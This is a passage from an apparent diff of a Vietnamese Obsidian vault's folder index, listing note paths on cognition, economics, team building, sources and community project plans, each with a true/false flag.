"⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tạo sự tin tưởng", + "Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tạo sự tin tưởng", + "Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tạo sự tin tưởng", + "Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tổ chức học tập", + "Chuyển giao tri thức rất khó khăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tổ chức học tập", + "Nếu thất bại nhanh hơn thì sẽ học nhanh hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Tổ chức học tập", + "Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Xây dựng nhóm, quản lý nhân sự", + "❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "❓Học qua dự án hay học bài bản" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Chú ý" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Cân bằng" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Công cụ" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Game hoá" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Học" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Hỏi" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Chuyên gia" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Chuyên nghiệp" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Cạnh tranh" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Giá cả" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Tiền" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Kinh tế", "Đầu tư" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Nhận thức", + "Công cụ nghĩ", + "Bản đồ" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Cấu trúc" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Diễn giải, đọc" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Nhận thức", + "Gánh nặng nhận thức" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Insight" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Không gian" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Lập luận" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Mental modal" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Nhận thức", + "Mẫu hình (pattern)" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Ngôn ngữ" ] + +🚀: true +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Não" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Phân loại" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Trải nghiệm" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Trực giác" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Văn bản" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Vật thể" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Ý tưởng" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Đánh đổi" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Nhận thức", "Ẩn dụ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển cộng đồng", + "Gây quỹ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển cộng đồng", + "Hỗ trợ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển cộng đồng", + "Quan sát tham dự" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "backup" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Công việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Kế hoạch" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Phi tuyến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Quỹ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Thước đo, đo lường, chỉ số, KPI" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Phát triển sản phẩm, lên kế hoạch, công việc", + "Ưu tiên" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Phản hồi" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Quản lý tổ chức", + "Ra quyết định" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Quản lý tổ chức", "Thảo luận" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Quản lý tổ chức", "Tin tưởng" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Quản lý tổ chức", "Văn hoá" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Thành quả" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Thời gian, lịch" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Trí nhớ" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Tự tổ chức" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Đồ thị" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Bing AI" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Emilie Durkheim" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Kendy" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "freeCodeCamp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "Google Support" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "IBM" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "Phạm Đình Khánh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "tuhocict" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Khoa học dữ liệu. Khoa học máy tính", + "Viblo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Kinh tế học", + "ABG Open Special 2023" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Kinh tế học", + "Tiền không mua được gì" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Kinh tế học", "Tạp chí ngân hàng" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Môi trường nghĩ, nhận thức tăng cường", + "Andy Matuschak" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Môi trường nghĩ, nhận thức tăng cường", + "Bret Victor" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Môi trường nghĩ, nhận thức tăng cường", + "Maggie Appleton" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Môi trường nghĩ, nhận thức tăng cường", + "Đừng bắt tôi nghĩ" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Neilsen Norman Group" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Nguyễn Hoài Vân" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Nguyễn Đức Lộc" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "nngroup" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Paul Graham" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Phạm Trường Sơn" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Bùi Quang Tinh Tú" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Doing project wiki" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hoàng Đức Minh" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Seth Godin" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Tài liệu", "CORE Econ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Nguồn", + "Tài liệu", + "Media for Thinking the Unthinkable" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Tạ Duy Phong" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Tự ngẫm nghĩ, trải nghiệm" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Veritasium" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Wikipedia" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Y Combinator" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Điệp" ] + +🚀: true +[ "", "⚡Hiểu biết sâu" ] + +🚀: false +[ "", "🌟 Mở đầu" ] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi cố vấn riêng" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi giới thiệu vault", + "Các buổi chia sẻ vault cá nhân" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi giới thiệu vault" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi giới thiệu vault", + "Demo tại nhóm phát triển sản phẩm" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi họp xây dựng kế hoạch phát triển", + "15 - 3" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi họp xây dựng kế hoạch phát triển" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các buổi họp xây dựng kế hoạch phát triển", + "Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các bài học trên vault", + "100% bài học có thành quả cần có" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các bài học trên vault" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", + "Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", + "Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp", + "Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", + "Các buổi phỏng vấn", + "Bài đăng kêu gọi phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", + "Các buổi phỏng vấn", + "Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", + "Email mời phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về người dùng", + "Khảo sát người sử dụng Obsidian" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Các nghiên cứu về sản phẩm" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Phần mềm", + "Bộ cài" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Phần mềm", + "Bộ cài", + "Các trục trặc có thể gặp khi cài" +] + +🚀: true +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Phần mềm", + "Web" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "3 Thành phẩm", + "Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "6 Kế hoạch", + "Kế hoạch phát triển dự án" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "6 Kế hoạch", + "Kế hoạch tổng" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "6 Kế hoạch", + "Quý II – 2023" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "7 Tài liệu", + "Các chỉ số", + "Số người tham gia mới (user acquisition)" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "7 Tài liệu", + "Các chỉ số", + "Số người tiếp tục tham gia theo thời gian (retention)" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "7 Tài liệu", + "Các khái niệm", + "Quản lý dự án" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "7 Tài liệu", + "Các khái niệm", + "Tự học" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Các vấn đề về tiền" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Dự án này cần những gì để phát triển" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Hướng dẫn tải kho" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Mọi người hay thảo luận ở đâu?" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Những dấu mốc" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Nơi này là nơi nào?" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Tôi có thể giúp gì" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Tại sao lại cần tải kho về hơn là đọc trên web" +] + +🚀: false +[ + "", + "📐 Dự án", + "C Obsidian, quản lý dự án và công cụ nghĩ", + "9 Blog", + "Về chữ Nguồn" +] + +🚀: true +[ "", "📐 Dự án", "C Obsidian, quản lý dự án và công cụ nghĩ" ] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "2 Giả thuyết", + "Giả thiết về người tham gia" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "2 Giả thuyết", + "Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "2 Giả thuyết", + "Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "2 Giả thuyết", + "Giả thiết về đối tượng cần học cách lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "2 Giả thuyết", + "Untitled" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "3 Thành quả mong muốn", + "Mỗi tuần có 450 người học" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Kế hoạch", + "Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ" +] + +🚀: true +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Kế hoạch" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng", + "Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng", + "Khảo sát người muốn tham gia nhóm học lập trình" +] + +🚀: true +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng", + "Nhu cầu học lập trình", + "Bản khảo sát nhu cầu học lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng", + "Sự tiếp nhận với ý tưởng", + "Mục tiêu và câu hỏi phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Nghiên cứu người dùng", + "Trải nghiệm sau buổi học", + "Mục tiêu và câu hỏi phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Phiếu đăng ký", + "Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Truyền thông", + "Bàn làm việc Google Calendar" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Truyền thông", + "Các buổi đáp ứng nhu cầu học lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "4 Thành phẩm", + "Truyền thông", + "Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Buổi hướng dẫn và thảo luận" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Người tham gia", + "Trần Thuý Hoà" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Theo kỹ thuật", + "Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Theo kỹ thuật", + "Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Theo mục tiêu", + "Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý" +] + +🚀: false +[ + "", + "📐 Dự án", + "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "9 Blog", + "Theo mục tiêu", + "Hiểu về dữ liệu cho người làm kế toán" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng khám phá các vault khác", + "50% người xây vault kết nối nhu cầu của mình tới vault chung" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng liên thông dữ liệu", + "20% người tham gia liên thông dữ liệu với các vault khác" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng liên thông dữ liệu", + "40% người tham gia biết dùng Git" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng liên thông dữ liệu", + "50% người đóng góp đáp ứng được các nhu cầu khác của họ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "1000 người mở vault 3 lần" +] + +🚀: false +[ 